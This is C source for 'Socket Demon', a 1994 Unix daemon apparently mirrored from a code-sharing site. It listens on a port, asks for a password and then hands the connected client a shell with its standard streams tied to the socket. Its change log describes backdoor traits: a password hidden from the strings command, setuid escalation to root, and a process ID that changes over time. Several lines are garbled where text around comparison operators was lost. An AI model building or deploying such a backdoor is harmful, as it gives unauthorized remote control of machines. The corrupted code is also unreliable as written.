www.pudn.com > socket_demon13.zip > SOCDEMON.C


/*
 * Socket Demon.
 *   - A little program that waits on a internet port and
 *     handles interactive commands.
 *     Most of the routines are taken out of "Unix Network Programming"
 *     by W. Richard Stevens, Prentice Hall, 1990.
 *
 * History:
 *  1994:
 *   Jan. 14 - Initial program completed.
 *   Jan. 17 - Added in nil command (if you just press enter)
 *           - Added in "?" to be the same as help
 *           - Added in the "bye", "ls", "pwd", and "cd" commands.
 *           - Added in lotsa comments
 *           - Added the 'ver' command.
 *           - Added in support for the -port, -log and -command
 *             command line options.
 *           - Added in the 'die' command.
 *           - Added logging of connects, disconnects, die's, and
 *             bad passwords.
 *   Apr. 07 - Changed the password to be encrypted so it cannot be
 *             discovered with a strings(1) command.
 *           - Added the 'id' command.
 *           - Call setuid if uid != euid (so that if program is setuid root
 *           - we can take advantage of the priviledge).
 *           - Took out the annoying uid listing at login
 *   Apr. 11 - Added a debug mode, and moved most of the verbose FTP style
 *             comments to that mode, leaving normal mode more unix-ish.
 *           - Added in a uname command
 *           - Changed the output format of several commands to look more 
 *             unix-ish
 *   Apr. 13 - Split the program up in to a bunch of different files and
 *             made a make file for it. - Speeds up development and
 *             makes if easier to change..
 *   Apr. 14 - Added new commands, cp, mv, rm
 *           - Redirected stdin, stdout and stderr to the client socket.
 *           - Added a shell!
 *   Apr. 15 - Added new commands, who, w, ps, chmod, chgrp, chown, cat,
 *             create
*/

#include "socdemon.h"
#include "socketio.h"
#include "soclog.h"

/*
 * print_usage()
 *   - prints the program name, version, and date, and also
 *     the program parameters. See socdemon.h for all their
 *     definitions.
*/
void print_usage() {
 int i;
   fprintf(stdout,"%s ver %s, %s.\n",SOCDEMON_NAME,SOCDEMON_VER,SOCDEMON_DATE);
   fprintf(stdout,"usage: %s [option] [option]...\n",program_name);
   fprintf(stdout,"where [option] is one of:\n");
   for (i=0;i 0) {
      tell_user(client_descriptor, "Password? ");
      pword_len = soc_read(client_descriptor, pword_str, MAX_INPUT_LEN);
      if (pword_str[strlen(pword_str)-1] == '\n') {
         pword_str[strlen(pword_str)-2] = 0;
      }
      if (check_pw(pword_str, SOCDEMON_PASSWORD)) {
#ifdef LOG_TO_DEATH
         strcpy(log_string,pword_str);
         log_stuff(bad_password);
#endif
         tell_user(client_descriptor, "Access Denied.\n");
         return false;
      }
   }
#endif
   return true;
}

/*
 * main()
 *   - This is the main procedure..
 *   - Most of the socket setup stuff is taken from Stevens
 *     (the socket(), bind(), listen() and accept() stuff),
 *     the rest is mine.
*/
main(argc, argv) 
int   argc;
char *argv[];
{
 int     client_address_len;
 t_parms parms;
 int i;

   silent_mode = false;
   debug_mode  = false;
   port_to_use = SOCDEMON_PORT;
   /* get the name of the executable for use in the print_usage() */
   /* call so that the "usage: XXX [options]" will be correct     */
   strcpy(program_name,argv[0]);
#ifdef LOG_TO_DEATH
   log_to_file = false;
   command_log = false;
   strcpy(log_file,program_name);
   strcat(log_file,".log");
   strcpy(cmd_log_file,program_name);
   strcat(cmd_log_file,".log");
#endif
   if (argc > 1) {
      /* Collect and process the program arguments */
      for (i=1;i> 24);
      client_dotted_q.netid    = (client_address.sin_addr.s_addr >> 16) & 0x00ff;
      client_dotted_q.subnetid = (client_address.sin_addr.s_addr >> 8) & 0x0000ff;
      client_dotted_q.hostid   = client_address.sin_addr.s_addr & 0x000000ff;
      sprintf(dotted_4_str, "%d.%d.%d.%d",
              client_dotted_q.class, client_dotted_q.netid,
              client_dotted_q.subnetid, client_dotted_q.hostid);
#endif
      if (fork() != 0) {
         /* let the parent process handle the user comming in, and       */
         /* make the shild go on to wait for more requests - this        */
         /* will avoid defunct processes and have an added bonus side-   */
         /* effect of having the main daemon have it's process ID change */
         /* periodically.                                                */
#ifdef LOG_TO_DEATH
         log_stuff(accepting_connection);
#endif
     
         /* direct stdin, stdout and stderr to the socket */
         dup2(client_descriptor,0);
         dup2(client_descriptor,1);
         dup2(client_descriptor,2);
         if (soc_demon_welcome()) {
            soc_demon_main_proc();
         } 

         shutdown(client_descriptor, 2);
         close(client_descriptor);
#ifdef LOG_TO_DEATH
         log_stuff(connection_closed);
#endif
         exit(0);
      }

      close(client_descriptor);
   }
}